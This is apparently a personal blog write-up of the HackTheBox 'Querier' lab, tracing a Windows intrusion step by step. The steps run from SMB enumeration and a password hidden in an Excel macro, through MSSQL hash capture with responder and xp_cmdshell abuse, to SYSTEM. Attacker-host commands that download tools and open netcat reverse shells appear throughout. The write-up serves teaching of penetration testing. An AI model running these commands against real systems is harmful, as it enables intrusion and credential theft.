Posted on: 21 Jun 2019 | HackTheBox
I started with my usual
$ nmap -sC -sV -oN initial 10.10.10.125 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00 | ms-sql-ntlm-info: | Target_Name: HTB | NetBIOS_Domain_Name: HTB | NetBIOS_Computer_Name: QUERIER | DNS_Domain_Name: HTB.LOCAL | DNS_Computer_Name: QUERIER.HTB.LOCAL | DNS_Tree_Name: HTB.LOCAL |_ Product_Version: 10.0.17763
I reduced the output to the interesting pieces.
As we found some
DNS-Names I put them into my
$nano /etc/hosts 10.10.10.125 querier.htb.local querier
After my initial scan, I proceeded with a script-scan.
Especialy when I see
port 445 open.
Port 445 is used for
SMB or filesharing on Windows.
But this time the
nmap scripts failed to identify anything usefull on this port. A deadend?
As I couldn’t find anything else on the box, I tried another tool to check the
$ msfconsole msf5 use auxiliary/scanner/smb/smb_enumshares msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.10.10.125 msf5 run [+] 10.10.10.125:445 - ADMIN$ - (DS) Remote Admin [+] 10.10.10.125:445 - C$ - (DS) Default share [+] 10.10.10.125:445 - IPC$ - (I) Remote IPC [+] 10.10.10.125:445 - Reports - (DS)
Note to self: It’s always a good idea to check and recheck your services with different tools. ;)
I used the the file explorer to connect as an anonymous user.
The file has a
.xlsm extension. Which means it should have a macro inside.
Which turned out to be true once I opened the file.
Let’s investigate the macro.
Here are the important
Trusted_Connection=no; Database=volume; Uid=reporting; Pwd=PcwTWTHRwryjc$c6
Obviously I wanted to connect to the database now. For tasks like this I use the
./mssqlclient.py -windows-auth reporting@querier
When you have access to a
Microsoft-SQL Server, always check for the
xp_cmdshell option to run commands on the
SQL> xp_cmdshell cmd.exe [-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
No dice. Permission denied.
But, of cause there’s a way around that. By pure chance I watched a video of ippsec who had the very same problem in a box earlier that week. So I went back and checked what he did.
xp_dirtree to the rescue.
xp_dirtree I can list folders and shares. And as Windows loves to do
single-sign-on for the user with it’s
I can try to intercept it.
In order to grab the
NTLM-Hash I need the tool named
responder in one terminal and run the
xp_dirtree command for the share created
responder in another terminal.
-----------Terminal 1-------------- $ responder -I tun0 -wrfv -----------Terminal 2-------------- SQL> exec xp_dirtree '\\10.10.14.4\files'
hashcat cracked the
NTLM-Hash for me in mere seconds:
$ ./hashcat -m 5600 ntlm-hash.txt --force > Password: corporate568
I used the new credentials again with
impacket to login:
./mssqlclient.py -windows-auth querier/mssql-svc:corporate568@querier
xp_cmdshell will work now?
SQL> xp_cmdshell cmd.exe [-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using 'sp_configure'. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
Almost. I seem to have to propper permissions now. But I need to enable it.
SQL> EXEC sp_configure 'show advanced options', 1 SQL> RECONFIGURE SQL> EXEC sp_configure 'xp_cmdshell', 1 SQL> RECONFIGURE
This looks promissing. My next goal should be to get a propper
reverse-shell and some tools for the next step on the box.
impacket again to give me a
SMB Server which can hold my files. I put
powerup.ps1 in that share.
$ python /opt/impacket/examples/smbserver.py -smb2support files `pwd`
I downloaded them from my box to the target using a LOLBIN.
SQL> xp_cmdshell esentutl.exe /y \\10.10.14.4\files\nc64.exe /d C:\Users\mssql-svc\nc64.exe /o SQL> xp_cmdshell esentutl.exe /y \\10.10.14.4\files\powerup.ps1 /d C:\Users\mssql-svc\powerup.ps1 /o
-----------Terminal 1-------------- $ nc -lvnp 9001 -----------Terminal 2-------------- SQL> xp_cmdshell C:\Users\mssql-svc\nc64.exe -e cmd 10.10.14.4 9001
First, I’ve got the
This time, I haven’t spent time in a dedicated
It was a mixed bag due to the tools I used. The mentioned
powerup.ps1 script does technicaly both:
Recon and Escalation.
The module was loaded into
powershell like so:
C:\Users\mssql-svc> powershell PS C:\Users\mssql-svc> import-module ./powerup.ps1 PS C:\Users\mssql-svc> invoke-allchecks
I spent quite some time trying to login somehow with the password in the
GPP. But I wasn’t able to make it work.
While doing this writeup however I realized - the password should have worked. Don’t know what I did wrong.
But there’s more than one way to victory: I’ve seen the vulnerable service but ignored it for a hopefully quick win with the password. After that failed I gave it a shot.
powerup.ps1 again, to exploit the
-----------Terminal 1-------------- $ nc -lvnp 9002 -----------Terminal 2-------------- PS C:\Users\mssql-svc> Set-ServiceBinaryPath -Name UsoSvc -Path 'C:\Users\mssql-svc\nc64.exe -e cmd 10.10.14.4 9002' PS C:\Users\mssql-svc> restart-service UsoSvc
So what happened here? First, let me cite two things of the
powerup authors regarding services and improper permissions:
 This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly.  Takes a service name [...] that the current user has configuration modification rights on and executes a series of automated actions to execute commands as SYSTEM.
And this box is no exception. As far as I understand it, the service is vulnerable to the 2nd variant.
Mission Accomplished! :)